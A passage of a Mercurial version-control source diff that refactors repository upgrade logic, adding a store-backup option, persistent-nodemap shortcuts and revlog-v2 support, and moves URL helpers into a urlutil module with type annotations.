instance the path is coming from. - ``name`` is the symbolic name of the path. - ``rawloc`` is the raw location, as defined in the config. - ``pushloc`` is the raw locations pushes should be made to. - - If ``name`` is not defined, we require that the location be a) a local - filesystem path with a .hg directory or b) a URL. If not, - ``ValueError`` is raised. - """ - if not rawloc: - raise ValueError(b'rawloc must be defined') - - # Locations may define branches via syntax #. - u = util.url(rawloc) - branch = None - if u.fragment: - branch = u.fragment - u.fragment = None - - self.url = u - self.branch = branch - - self.name = name - self.rawloc = rawloc - self.loc = b'%s' % u - - # When given a raw location but not a symbolic name, validate the - # location is valid. - if not name and not u.scheme and not self._isvalidlocalpath(self.loc): - raise ValueError( - b'location is not a URL or path to a local ' - b'repo: %s' % rawloc - ) - - suboptions = suboptions or {} - - # Now process the sub-options. If a sub-option is registered, its - # attribute will always be present. The value will be None if there - # was no valid sub-option. - for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions): - if suboption not in suboptions: - setattr(self, attr, None) - continue - - value = func(ui, self, suboptions[suboption]) - setattr(self, attr, value) - - def _isvalidlocalpath(self, path): - """Returns True if the given path is a potentially valid repository. - This is its own function so that extensions can change the definition of - 'valid' in this case (like when pulling from a git repo into a hg - one).""" - try: - return os.path.isdir(os.path.join(path, b'.hg')) - # Python 2 may return TypeError. Python 3, ValueError. - except (TypeError, ValueError): - return False - - @property - def suboptions(self): - """Return sub-options and their values for this path. - - This is intended to be used for presentation purposes. - """ - d = {} - for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions): - value = getattr(self, attr) - if value is not None: - d[subopt] = value - return d - - # we instantiate one globally shared progress bar to avoid # competing progress bars when multiple UI objects get created _progresssingleton = None diff -r bc268ea9f984 -r f67b8946bb1b mercurial/unionrepo.py --- a/mercurial/unionrepo.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/unionrepo.py Tue Apr 20 11:01:06 2021 -0400 @@ -128,6 +128,7 @@ deltas, linkmapper, transaction, + alwayscache=False, addrevisioncb=None, duplicaterevisioncb=None, maybemissingparents=False, @@ -152,9 +153,9 @@ class unionmanifest(unionrevlog, manifest.manifestrevlog): - def __init__(self, opener, opener2, linkmapper): - manifest.manifestrevlog.__init__(self, opener) - manifest2 = manifest.manifestrevlog(opener2) + def __init__(self, nodeconstants, opener, opener2, linkmapper): + manifest.manifestrevlog.__init__(self, nodeconstants, opener) + manifest2 = manifest.manifestrevlog(nodeconstants, opener2) unionrevlog.__init__( self, opener, self.indexfile, manifest2, linkmapper ) @@ -204,7 +205,10 @@ @localrepo.unfilteredpropertycache def manifestlog(self): rootstore = unionmanifest( - self.svfs, self.repo2.svfs, self.unfiltered()._clrev + self.nodeconstants, + self.svfs, + self.repo2.svfs, + self.unfiltered()._clrev, ) return manifest.manifestlog( self.svfs, self, rootstore, self.narrowmatch() diff -r bc268ea9f984 -r f67b8946bb1b mercurial/upgrade.py --- a/mercurial/upgrade.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/upgrade.py Tue Apr 20 11:01:06 2021 -0400 @@ -118,6 +118,7 @@ up_actions, removed_actions, revlogs, + backup, ) if not run: @@ -215,12 +216,6 @@ backuppath = upgrade_engine.upgrade( ui, repo, dstrepo, upgrade_op ) - if not backup: - ui.status( - _(b'removing old repository content %s\n') % backuppath - ) - repo.vfs.rmtree(backuppath, forcibly=True) - backuppath = None finally: ui.status(_(b'removing temporary repository %s\n') % tmppath) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/upgrade_utils/actions.py --- a/mercurial/upgrade_utils/actions.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/upgrade_utils/actions.py Tue Apr 20 11:01:06 2021 -0400 @@ -23,7 +23,7 @@ # list of requirements that request a clone of all revlog if added/removed RECLONES_REQUIREMENTS = { - b'generaldelta', + requirements.GENERALDELTA_REQUIREMENT, requirements.SPARSEREVLOG_REQUIREMENT, } @@ -69,6 +69,18 @@ postdowngrademessage Message intended for humans which will be shown post an upgrade operation in which this improvement was removed + + touches_filelogs (bool) + Whether this improvement touches filelogs + + touches_manifests (bool) + Whether this improvement touches manifests + + touches_changelog (bool) + Whether this improvement touches changelog + + touches_requirements (bool) + Whether this improvement changes repository requirements """ def __init__(self, name, type, description, upgrademessage): @@ -78,6 +90,12 @@ self.upgrademessage = upgrademessage self.postupgrademessage = None self.postdowngrademessage = None + # By default for now, we assume every improvement touches + # all the things + self.touches_filelogs = True + self.touches_manifests = True + self.touches_changelog = True + self.touches_requirements = True def __eq__(self, other): if not isinstance(other, improvement): @@ -131,6 +149,12 @@ # operation in which this improvement was removed postdowngrademessage = None + # By default for now, we assume every improvement touches all the things + touches_filelogs = True + touches_manifests = True + touches_changelog = True + touches_requirements = True + def __init__(self): raise NotImplementedError() @@ -176,7 +200,7 @@ class fncache(requirementformatvariant): name = b'fncache' - _requirement = b'fncache' + _requirement = requirements.FNCACHE_REQUIREMENT default = True @@ -196,7 +220,7 @@ class dotencode(requirementformatvariant): name = b'dotencode' - _requirement = b'dotencode' + _requirement = requirements.DOTENCODE_REQUIREMENT default = True @@ -215,7 +239,7 @@ class generaldelta(requirementformatvariant): name = b'generaldelta' - _requirement = b'generaldelta' + _requirement = requirements.GENERALDELTA_REQUIREMENT default = True @@ -270,6 +294,12 @@ b' New shares will be created in safe mode.' ) + # upgrade only needs to change the requirements + touches_filelogs = False + touches_manifests = False + touches_changelog = False + touches_requirements = True + @registerformatvariant class sparserevlog(requirementformatvariant): @@ -298,22 +328,6 @@ @registerformatvariant -class sidedata(requirementformatvariant): - name = b'sidedata' - - _requirement = requirements.SIDEDATA_REQUIREMENT - - default = False - - description = _( - b'Allows storage of extra data alongside a revision, ' - b'unlocking various caching options.' - ) - - upgrademessage = _(b'Allows storage of extra data alongside a revision.') - - -@registerformatvariant class persistentnodemap(requirementformatvariant): name = b'persistent-nodemap' @@ -344,6 +358,15 @@ @registerformatvariant +class revlogv2(requirementformatvariant): + name = b'revlog-v2' + _requirement = requirements.REVLOGV2_REQUIREMENT + default = False + description = _(b'Version 2 of the revlog.') + upgrademessage = _(b'very experimental') + + +@registerformatvariant class removecldeltachain(formatvariant): name = b'plain-cl-delta' @@ -375,10 +398,21 @@ return True +_has_zstd = ( + b'zstd' in util.compengines + and util.compengines[b'zstd'].available() + and util.compengines[b'zstd'].revlogheader() +) + + @registerformatvariant class compressionengine(formatvariant): name = b'compression' - default = b'zlib' + + if _has_zstd: + default = b'zstd' + else: + default = b'zlib' description = _( b'Compresion algorithm used to compress data. ' @@ -408,7 +442,9 @@ # return the first valid value as the selection code would do for comp in compengines: if comp in util.compengines: - return comp + e = util.compengines[comp] + if e.available() and e.revlogheader(): + return comp # no valide compression found lets display it all for clarity return b','.join(compengines) @@ -629,6 +665,7 @@ upgrade_actions, removed_actions, revlogs_to_process, + backup_store, ): self.ui = ui self.new_requirements = new_requirements @@ -673,6 +710,75 @@ b're-delta-multibase' in self._upgrade_actions_names ) + # should this operation create a backup of the store + self.backup_store = backup_store + + # whether the operation touches different revlogs at all or not + self.touches_filelogs = self._touches_filelogs() + self.touches_manifests = self._touches_manifests() + self.touches_changelog = self._touches_changelog() + # whether the operation touches requirements file or not + self.touches_requirements = self._touches_requirements() + self.touches_store = ( + self.touches_filelogs + or self.touches_manifests + or self.touches_changelog + ) + # does the operation only touches repository requirement + self.requirements_only = ( + self.touches_requirements and not self.touches_store + ) + + def _touches_filelogs(self): + for a in self.upgrade_actions: + # in optimisations, we re-process the revlogs again + if a.type == OPTIMISATION: + return True + elif a.touches_filelogs: + return True + for a in self.removed_actions: + if a.touches_filelogs: + return True + return False + + def _touches_manifests(self): + for a in self.upgrade_actions: + # in optimisations, we re-process the revlogs again + if a.type == OPTIMISATION: + return True + elif a.touches_manifests: + return True + for a in self.removed_actions: + if a.touches_manifests: + return True + return False + + def _touches_changelog(self): + for a in self.upgrade_actions: + # in optimisations, we re-process the revlogs again + if a.type == OPTIMISATION: + return True + elif a.touches_changelog: + return True + for a in self.removed_actions: + if a.touches_changelog: + return True + return False + + def _touches_requirements(self): + for a in self.upgrade_actions: + # optimisations are used to re-process revlogs and does not result + # in a requirement being added or removed + if a.type == OPTIMISATION: + pass + elif a.touches_requirements: + return True + for a in self.removed_actions: + if a.touches_requirements: + return True + + return False + def _write_labeled(self, l, label): """ Utility function to aid writing of a list under one label @@ -760,9 +866,7 @@ """ return { # Introduced in Mercurial 0.9.2. - b'revlogv1', - # Introduced in Mercurial 0.9.2. - b'store', + requirements.STORE_REQUIREMENT, } @@ -784,9 +888,21 @@ } +def check_revlog_version(reqs): + """Check that the requirements contain at least one Revlog version""" + all_revlogs = { + requirements.REVLOGV1_REQUIREMENT, + requirements.REVLOGV2_REQUIREMENT, + } + if not all_revlogs.intersection(reqs): + msg = _(b'cannot upgrade repository; missing a revlog version') + raise error.Abort(msg) + + def check_source_requirements(repo): """Ensure that no existing requirements prevent the repository upgrade""" + check_revlog_version(repo.requirements) required = requiredsourcerequirements(repo) missingreqs = required - repo.requirements if missingreqs: @@ -818,6 +934,8 @@ requirements.COPIESSDC_REQUIREMENT, requirements.NODEMAP_REQUIREMENT, requirements.SHARESAFE_REQUIREMENT, + requirements.REVLOGV2_REQUIREMENT, + requirements.REVLOGV1_REQUIREMENT, } for name in compression.compengines: engine = compression.compengines[name] @@ -837,16 +955,17 @@ Extensions should monkeypatch this to add their custom requirements. """ supported = { - b'dotencode', - b'fncache', - b'generaldelta', - b'revlogv1', - b'store', + requirements.DOTENCODE_REQUIREMENT, + requirements.FNCACHE_REQUIREMENT, + requirements.GENERALDELTA_REQUIREMENT, + requirements.REVLOGV1_REQUIREMENT, # allowed in case of downgrade + requirements.STORE_REQUIREMENT, requirements.SPARSEREVLOG_REQUIREMENT, requirements.SIDEDATA_REQUIREMENT, requirements.COPIESSDC_REQUIREMENT, requirements.NODEMAP_REQUIREMENT, requirements.SHARESAFE_REQUIREMENT, + requirements.REVLOGV2_REQUIREMENT, } for name in compression.compengines: engine = compression.compengines[name] @@ -868,14 +987,16 @@ future, unknown requirements from accidentally being added. """ supported = { - b'dotencode', - b'fncache', - b'generaldelta', + requirements.DOTENCODE_REQUIREMENT, + requirements.FNCACHE_REQUIREMENT, + requirements.GENERALDELTA_REQUIREMENT, requirements.SPARSEREVLOG_REQUIREMENT, requirements.SIDEDATA_REQUIREMENT, requirements.COPIESSDC_REQUIREMENT, requirements.NODEMAP_REQUIREMENT, requirements.SHARESAFE_REQUIREMENT, + requirements.REVLOGV1_REQUIREMENT, + requirements.REVLOGV2_REQUIREMENT, } for name in compression.compengines: engine = compression.compengines[name] @@ -888,7 +1009,7 @@ def check_requirements_changes(repo, new_reqs): old_reqs = repo.requirements - + check_revlog_version(repo.requirements) support_removal = supportremovedrequirements(repo) no_remove_reqs = old_reqs - new_reqs - support_removal if no_remove_reqs: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/upgrade_utils/engine.py --- a/mercurial/upgrade_utils/engine.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/upgrade_utils/engine.py Tue Apr 20 11:01:06 2021 -0400 @@ -21,27 +21,34 @@ requirements, revlog, scmutil, + store, util, vfs as vfsmod, ) +from ..revlogutils import nodemap -def _revlogfrompath(repo, path): +def _revlogfrompath(repo, rl_type, path): """Obtain a revlog from a repo path. An instance of the appropriate class is returned. """ - if path == b'00changelog.i': + if rl_type & store.FILEFLAGS_CHANGELOG: return changelog.changelog(repo.svfs) - elif path.endswith(b'00manifest.i'): - mandir = path[: -len(b'00manifest.i')] - return manifest.manifestrevlog(repo.svfs, tree=mandir) + elif rl_type & store.FILEFLAGS_MANIFESTLOG: + mandir = b'' + if b'/' in path: + mandir = path.rsplit(b'/', 1)[0] + return manifest.manifestrevlog( + repo.nodeconstants, repo.svfs, tree=mandir + ) else: - # reverse of "/".join(("data", path + ".i")) - return filelog.filelog(repo.svfs, path[5:-2]) + # drop the extension and the `data/` prefix + path = path.rsplit(b'.', 1)[0].split(b'/', 1)[1] + return filelog.filelog(repo.svfs, path) -def _copyrevlog(tr, destrepo, oldrl, unencodedname): +def _copyrevlog(tr, destrepo, oldrl, rl_type, unencodedname): """copy all relevant files for `oldrl` into `destrepo` store Files are copied "as is" without any transformation. The copy is performed @@ -49,7 +56,7 @@ content is compatible with format of the destination repository. """ oldrl = getattr(oldrl, '_revlog', oldrl) - newrl = _revlogfrompath(destrepo, unencodedname) + newrl = _revlogfrompath(destrepo, rl_type, unencodedname) newrl = getattr(newrl, '_revlog', newrl) oldvfs = oldrl.opener @@ -67,10 +74,7 @@ if copydata: util.copyfile(olddata, newdata) - if not ( - unencodedname.endswith(b'00changelog.i') - or unencodedname.endswith(b'00manifest.i') - ): + if rl_type & store.FILEFLAGS_FILELOG: destrepo.svfs.fncache.add(unencodedname) if copydata: destrepo.svfs.fncache.add(unencodedname[:-2] + b'.d') @@ -104,17 +108,18 @@ return sidedatacompanion -def matchrevlog(revlogfilter, entry): +def matchrevlog(revlogfilter, rl_type): """check if a revlog is selected for cloning. In other words, are there any updates which need to be done on revlog or it can be blindly copied. The store entry is checked against the passed filter""" - if entry.endswith(b'00changelog.i'): + if rl_type & store.FILEFLAGS_CHANGELOG: return UPGRADE_CHANGELOG in revlogfilter - elif entry.endswith(b'00manifest.i'): + elif rl_type & store.FILEFLAGS_MANIFESTLOG: return UPGRADE_MANIFEST in revlogfilter + assert rl_type & store.FILEFLAGS_FILELOG return UPGRADE_FILELOGS in revlogfilter @@ -123,6 +128,7 @@ dstrepo, tr, old_revlog, + rl_type, unencoded, upgrade_op, sidedatacompanion, @@ -130,11 +136,11 @@ ): """ returns the new revlog object created""" newrl = None - if matchrevlog(upgrade_op.revlogs_to_process, unencoded): + if matchrevlog(upgrade_op.revlogs_to_process, rl_type): ui.note( _(b'cloning %d revisions from %s\n') % (len(old_revlog), unencoded) ) - newrl = _revlogfrompath(dstrepo, unencoded) + newrl = _revlogfrompath(dstrepo, rl_type, unencoded) old_revlog.clone( tr, newrl, @@ -146,9 +152,9 @@ else: msg = _(b'blindly copying %s containing %i revisions\n') ui.note(msg % (unencoded, len(old_revlog))) - _copyrevlog(tr, dstrepo, old_revlog, unencoded) + _copyrevlog(tr, dstrepo, old_revlog, rl_type, unencoded) - newrl = _revlogfrompath(dstrepo, unencoded) + newrl = _revlogfrompath(dstrepo, rl_type, unencoded) return newrl @@ -189,11 +195,11 @@ # Perform a pass to collect metadata. This validates we can open all # source files and allows a unified progress bar to be displayed. - for unencoded, encoded, size in alldatafiles: - if not unencoded.endswith(b'.i'): + for rl_type, unencoded, encoded, size in alldatafiles: + if not rl_type & store.FILEFLAGS_REVLOG_MAIN: continue - rl = _revlogfrompath(srcrepo, unencoded) + rl = _revlogfrompath(srcrepo, rl_type, unencoded) info = rl.storageinfo( exclusivefiles=True, @@ -210,19 +216,19 @@ srcrawsize += rawsize # This is for the separate progress bars. - if isinstance(rl, changelog.changelog): - changelogs[unencoded] = rl + if rl_type & store.FILEFLAGS_CHANGELOG: + changelogs[unencoded] = (rl_type, rl) crevcount += len(rl) csrcsize += datasize crawsize += rawsize - elif isinstance(rl, manifest.manifestrevlog): - manifests[unencoded] = rl + elif rl_type & store.FILEFLAGS_MANIFESTLOG: + manifests[unencoded] = (rl_type, rl) mcount += 1 mrevcount += len(rl) msrcsize += datasize mrawsize += rawsize - elif isinstance(rl, filelog.filelog): - filelogs[unencoded] = rl + elif rl_type & store.FILEFLAGS_FILELOG: + filelogs[unencoded] = (rl_type, rl) fcount += 1 frevcount += len(rl) fsrcsize += datasize @@ -267,12 +273,13 @@ ) ) progress = srcrepo.ui.makeprogress(_(b'file revisions'), total=frevcount) - for unencoded, oldrl in sorted(filelogs.items()): + for unencoded, (rl_type, oldrl) in sorted(filelogs.items()): newrl = _perform_clone( ui, dstrepo, tr, oldrl, + rl_type, unencoded, upgrade_op, sidedatacompanion, @@ -306,12 +313,13 @@ progress = srcrepo.ui.makeprogress( _(b'manifest revisions'), total=mrevcount ) - for unencoded, oldrl in sorted(manifests.items()): + for unencoded, (rl_type, oldrl) in sorted(manifests.items()): newrl = _perform_clone( ui, dstrepo, tr, oldrl, + rl_type, unencoded, upgrade_op, sidedatacompanion, @@ -344,12 +352,13 @@ progress = srcrepo.ui.makeprogress( _(b'changelog revisions'), total=crevcount ) - for unencoded, oldrl in sorted(changelogs.items()): + for unencoded, (rl_type, oldrl) in sorted(changelogs.items()): newrl = _perform_clone( ui, dstrepo, tr, oldrl, + rl_type, unencoded, upgrade_op, sidedatacompanion, @@ -381,7 +390,7 @@ are cloned""" for path, kind, st in sorted(srcrepo.store.vfs.readdir(b'', stat=True)): # don't copy revlogs as they are already cloned - if path.endswith((b'.i', b'.d', b'.n', b'.nd')): + if store.revlog_type(path) is not None: continue # Skip transaction related files. if path.startswith(b'undo'): @@ -412,7 +421,10 @@ """ # TODO: don't blindly rename everything in store # There can be upgrades where store is not touched at all - util.rename(currentrepo.spath, backupvfs.join(b'store')) + if upgrade_op.backup_store: + util.rename(currentrepo.spath, backupvfs.join(b'store')) + else: + currentrepo.vfs.rmtree(b'store', forcibly=True) util.rename(upgradedrepo.spath, currentrepo.spath) @@ -436,6 +448,8 @@ """ assert srcrepo.currentwlock() assert dstrepo.currentwlock() + backuppath = None + backupvfs = None ui.status( _( @@ -444,79 +458,136 @@ ) ) - with dstrepo.transaction(b'upgrade') as tr: - _clonerevlogs( - ui, - srcrepo, - dstrepo, - tr, - upgrade_op, + if upgrade_op.requirements_only: + ui.status(_(b'upgrading repository requirements\n')) + scmutil.writereporequirements(srcrepo, upgrade_op.new_requirements) + # if there is only one action and that is persistent nodemap upgrade + # directly write the nodemap file and update requirements instead of going + # through the whole cloning process + elif ( + len(upgrade_op.upgrade_actions) == 1 + and b'persistent-nodemap' in upgrade_op._upgrade_actions_names + and not upgrade_op.removed_actions + ): + ui.status( + _(b'upgrading repository to use persistent nodemap feature\n') + ) + with srcrepo.transaction(b'upgrade') as tr: + unfi = srcrepo.unfiltered() + cl = unfi.changelog + nodemap.persist_nodemap(tr, cl, force=True) + # we want to directly operate on the underlying revlog to force + # create a nodemap file. This is fine since this is upgrade code + # and it heavily relies on repository being revlog based + # hence accessing private attributes can be justified + nodemap.persist_nodemap( + tr, unfi.manifestlog._rootstore._revlog, force=True + ) + scmutil.writereporequirements(srcrepo, upgrade_op.new_requirements) + elif ( + len(upgrade_op.removed_actions) == 1 + and [ + x + for x in upgrade_op.removed_actions + if x.name == b'persistent-nodemap' + ] + and not upgrade_op.upgrade_actions + ): + ui.status( + _(b'downgrading repository to not use persistent nodemap feature\n') + ) + with srcrepo.transaction(b'upgrade') as tr: + unfi = srcrepo.unfiltered() + cl = unfi.changelog + nodemap.delete_nodemap(tr, srcrepo, cl) + # check comment 20 lines above for accessing private attributes + nodemap.delete_nodemap( + tr, srcrepo, unfi.manifestlog._rootstore._revlog + ) + scmutil.writereporequirements(srcrepo, upgrade_op.new_requirements) + else: + with dstrepo.transaction(b'upgrade') as tr: + _clonerevlogs( + ui, + srcrepo, + dstrepo, + tr, + upgrade_op, + ) + + # Now copy other files in the store directory. + for p in _files_to_copy_post_revlog_clone(srcrepo): + srcrepo.ui.status(_(b'copying %s\n') % p) + src = srcrepo.store.rawvfs.join(p) + dst = dstrepo.store.rawvfs.join(p) + util.copyfile(src, dst, copystat=True) + + finishdatamigration(ui, srcrepo, dstrepo, requirements) + + ui.status(_(b'data fully upgraded in a temporary repository\n')) + + if upgrade_op.backup_store: + backuppath = pycompat.mkdtemp( + prefix=b'upgradebackup.', dir=srcrepo.path + ) + backupvfs = vfsmod.vfs(backuppath) + + # Make a backup of requires file first, as it is the first to be modified. + util.copyfile( + srcrepo.vfs.join(b'requires'), backupvfs.join(b'requires') + ) + + # We install an arbitrary requirement that clients must not support + # as a mechanism to lock out new clients during the data swap. This is + # better than allowing a client to continue while the repository is in + # an inconsistent state. + ui.status( + _( + b'marking source repository as being upgraded; clients will be ' + b'unable to read from repository\n' + ) + ) + scmutil.writereporequirements( + srcrepo, srcrepo.requirements | {b'upgradeinprogress'} ) - # Now copy other files in the store directory. - for p in _files_to_copy_post_revlog_clone(srcrepo): - srcrepo.ui.status(_(b'copying %s\n') % p) - src = srcrepo.store.rawvfs.join(p) - dst = dstrepo.store.rawvfs.join(p) - util.copyfile(src, dst, copystat=True) - - finishdatamigration(ui, srcrepo, dstrepo, requirements) - - ui.status(_(b'data fully upgraded in a temporary repository\n')) - - backuppath = pycompat.mkdtemp(prefix=b'upgradebackup.', dir=srcrepo.path) - backupvfs = vfsmod.vfs(backuppath) - - # Make a backup of requires file first, as it is the first to be modified. - util.copyfile(srcrepo.vfs.join(b'requires'), backupvfs.join(b'requires')) - - # We install an arbitrary requirement that clients must not support - # as a mechanism to lock out new clients during the data swap. This is - # better than allowing a client to continue while the repository is in - # an inconsistent state. - ui.status( - _( - b'marking source repository as being upgraded; clients will be ' - b'unable to read from repository\n' - ) - ) - scmutil.writereporequirements( - srcrepo, srcrepo.requirements | {b'upgradeinprogress'} - ) + ui.status(_(b'starting in-place swap of repository data\n')) + if upgrade_op.backup_store: + ui.status( + _(b'replaced files will be backed up at %s\n') % backuppath + ) - ui.status(_(b'starting in-place swap of repository data\n')) - ui.status(_(b'replaced files will be backed up at %s\n') % backuppath) - - # Now swap in the new store directory. Doing it as a rename should make - # the operation nearly instantaneous and atomic (at least in well-behaved - # environments). - ui.status(_(b'replacing store...\n')) - tstart = util.timer() - _replacestores(srcrepo, dstrepo, backupvfs, upgrade_op) - elapsed = util.timer() - tstart - ui.status( - _( - b'store replacement complete; repository was inconsistent for ' - b'%0.1fs\n' + # Now swap in the new store directory. Doing it as a rename should make + # the operation nearly instantaneous and atomic (at least in well-behaved + # environments). + ui.status(_(b'replacing store...\n')) + tstart = util.timer() + _replacestores(srcrepo, dstrepo, backupvfs, upgrade_op) + elapsed = util.timer() - tstart + ui.status( + _( + b'store replacement complete; repository was inconsistent for ' + b'%0.1fs\n' + ) + % elapsed ) - % elapsed - ) - # We first write the requirements file. Any new requirements will lock - # out legacy clients. - ui.status( - _( - b'finalizing requirements file and making repository readable ' - b'again\n' + # We first write the requirements file. Any new requirements will lock + # out legacy clients. + ui.status( + _( + b'finalizing requirements file and making repository readable ' + b'again\n' + ) ) - ) - scmutil.writereporequirements(srcrepo, upgrade_op.new_requirements) + scmutil.writereporequirements(srcrepo, upgrade_op.new_requirements) - # The lock file from the old store won't be removed because nothing has a - # reference to its new location. So clean it up manually. Alternatively, we - # could update srcrepo.svfs and other variables to point to the new - # location. This is simpler. - assert backupvfs is not None # help pytype - backupvfs.unlink(b'store/lock') + if upgrade_op.backup_store: + # The lock file from the old store won't be removed because nothing has a + # reference to its new location. So clean it up manually. Alternatively, we + # could update srcrepo.svfs and other variables to point to the new + # location. This is simpler. + assert backupvfs is not None # help pytype + backupvfs.unlink(b'store/lock') return backuppath diff -r bc268ea9f984 -r f67b8946bb1b mercurial/url.py --- a/mercurial/url.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/url.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # url.py - HTTP handling for mercurial # -# Copyright 2005, 2006, 2007, 2008 Matt Mackall +# Copyright 2005, 2006, 2007, 2008 Olivia Mackall # Copyright 2006, 2007 Alexis S. L. Carvalho # Copyright 2006 Vadim Gelfer # @@ -26,7 +26,10 @@ urllibcompat, util, ) -from .utils import stringutil +from .utils import ( + stringutil, + urlutil, +) httplib = util.httplib stringio = util.stringio @@ -75,17 +78,17 @@ user, passwd = auth.get(b'username'), auth.get(b'password') self.ui.debug(b"using auth.%s.* for authentication\n" % group) if not user or not passwd: - u = util.url(pycompat.bytesurl(authuri)) + u = urlutil.url(pycompat.bytesurl(authuri)) u.query = None if not self.ui.interactive(): raise error.Abort( _(b'http authorization required for %s') - % util.hidepassword(bytes(u)) + % urlutil.hidepassword(bytes(u)) ) self.ui.write( _(b"http authorization required for %s\n") - % util.hidepassword(bytes(u)) + % urlutil.hidepassword(bytes(u)) ) self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm)) if user: @@ -128,7 +131,7 @@ proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:') ): proxyurl = b'http://' + proxyurl + b'/' - proxy = util.url(proxyurl) + proxy = urlutil.url(proxyurl) if not proxy.user: proxy.user = ui.config(b"http_proxy", b"user") proxy.passwd = ui.config(b"http_proxy", b"passwd") @@ -155,7 +158,9 @@ # expects them to be. proxyurl = str(proxy) proxies = {'http': proxyurl, 'https': proxyurl} - ui.debug(b'proxying through %s\n' % util.hidepassword(bytes(proxy))) + ui.debug( + b'proxying through %s\n' % urlutil.hidepassword(bytes(proxy)) + ) else: proxies = {} @@ -219,7 +224,7 @@ new_tunnel = False if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy - u = util.url(pycompat.bytesurl(tunnel_host)) + u = urlutil.url(pycompat.bytesurl(tunnel_host)) if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS h.realhostport = b':'.join([u.host, (u.port or b'443')]) h.headers = req.headers.copy() @@ -675,7 +680,7 @@ def open(ui, url_, data=None, sendaccept=True): - u = util.url(url_) + u = urlutil.url(url_) if u.scheme: u.scheme = u.scheme.lower() url_, authinfo = u.authinfo() diff -r bc268ea9f984 -r f67b8946bb1b mercurial/util.py --- a/mercurial/util.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/util.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # util.py - Mercurial utility functions and platform specific implementations # # Copyright 2005 K. Thananchayan -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # Copyright 2006 Vadim Gelfer # # This software may be used and distributed according to the terms of the @@ -28,7 +28,6 @@ import platform as pyplatform import re as remod import shutil -import socket import stat import sys import time @@ -57,8 +56,18 @@ hashutil, procutil, stringutil, + urlutil, ) +if pycompat.TYPE_CHECKING: + from typing import ( + Iterator, + List, + Optional, + Tuple, + ) + + base85 = policy.importmod('base85') osutil = policy.importmod('osutil') @@ -133,6 +142,7 @@ def setumask(val): + # type: (int) -> None ''' updates the umask. used by chg server ''' if pycompat.iswindows: return @@ -307,7 +317,7 @@ try: - buffer = buffer + buffer = buffer # pytype: disable=name-error except NameError: def buffer(sliceable, offset=0, length=None): @@ -1254,7 +1264,8 @@ """call this before writes, return self or a copied new object""" if getattr(self, '_copied', 0): self._copied -= 1 - return self.__class__(self) + # Function cow.__init__ expects 1 arg(s), got 2 [wrong-arg-count] + return self.__class__(self) # pytype: disable=wrong-arg-count return self def copy(self): @@ -1285,11 +1296,13 @@ if pycompat.ispypy: # __setitem__() isn't called as of PyPy 5.8.0 - def update(self, src): + def update(self, src, **f): if isinstance(src, dict): src = pycompat.iteritems(src) for k, v in src: self[k] = v + for k in f: + self[k] = f[k] def insert(self, position, key, value): for (i, (k, v)) in enumerate(list(self.items())): @@ -1395,8 +1408,8 @@ __slots__ = ('next', 'prev', 'key', 'value', 'cost') def __init__(self): - self.next = None - self.prev = None + self.next = self + self.prev = self self.key = _notset self.value = None @@ -1435,9 +1448,7 @@ def __init__(self, max, maxcost=0): self._cache = {} - self._head = head = _lrucachenode() - head.prev = head - head.next = head + self._head = _lrucachenode() self._size = 1 self.capacity = max self.totalcost = 0 @@ -1542,6 +1553,7 @@ """ try: node = self._cache[k] + assert node is not None # help pytype return node.value except KeyError: if default is _notset: @@ -1599,6 +1611,9 @@ # Walk the linked list backwards starting at tail node until we hit # a non-empty node. n = self._head.prev + + assert n is not None # help pytype + while n.key is _notset: n = n.prev @@ -1833,6 +1848,7 @@ def pathto(root, n1, n2): + # type: (bytes, bytes, bytes) -> bytes """return the relative path from one place to another. root should use os.sep to separate directories n1 should use os.sep to separate directories @@ -2017,6 +2033,7 @@ def checkwinfilename(path): + # type: (bytes) -> Optional[bytes] r"""Check that the base-relative path is a valid filename on Windows. Returns None if the path is ok, or a UI string describing the problem. @@ -2111,6 +2128,7 @@ def readlock(pathname): + # type: (bytes) -> bytes try: return readlink(pathname) except OSError as why: @@ -2134,6 +2152,7 @@ def fscasesensitive(path): + # type: (bytes) -> bool """ Return true if the given path is on a case-sensitive filesystem @@ -2170,10 +2189,11 @@ def _checkre2(self): global _re2 global _re2_input + + check_pattern = br'\[([^\[]+)\]' + check_input = b'[ui]' try: # check if match works, see issue3964 - check_pattern = br'\[([^\[]+)\]' - check_input = b'[ui]' _re2 = bool(re2.match(check_pattern, check_input)) except ImportError: _re2 = False @@ -2226,6 +2246,7 @@ def fspath(name, root): + # type: (bytes, bytes) -> bytes """Get name in the case stored in the filesystem The name should be relative to root, and be normcase-ed for efficiency. @@ -2270,6 +2291,7 @@ def checknlink(testfile): + # type: (bytes) -> bool '''check whether hardlink count reporting works properly''' # testfile may be open, so we need a separate file for checking to @@ -2303,8 +2325,9 @@ def endswithsep(path): + # type: (bytes) -> bool '''Check path ends with os.sep or os.altsep.''' - return ( + return bool( # help pytype path.endswith(pycompat.ossep) or pycompat.osaltsep and path.endswith(pycompat.osaltsep) @@ -2312,6 +2335,7 @@ def splitpath(path): + # type: (bytes) -> List[bytes] """Split path by os.sep. Note that this function does not use os.altsep because this is an alternative of simple "xxx.split(os.sep)". @@ -2540,6 +2564,7 @@ def unlinkpath(f, ignoremissing=False, rmdir=True): + # type: (bytes, bool, bool) -> None """unlink and remove the directory if it is empty""" if ignoremissing: tryunlink(f) @@ -2554,6 +2579,7 @@ def tryunlink(f): + # type: (bytes) -> None """Attempt to remove a file, ignoring ENOENT errors.""" try: unlink(f) @@ -2563,6 +2589,7 @@ def makedirs(name, mode=None, notindexed=False): + # type: (bytes, Optional[int], bool) -> None """recursive directory creation with parent mode inheritance Newly created directories are marked as "not 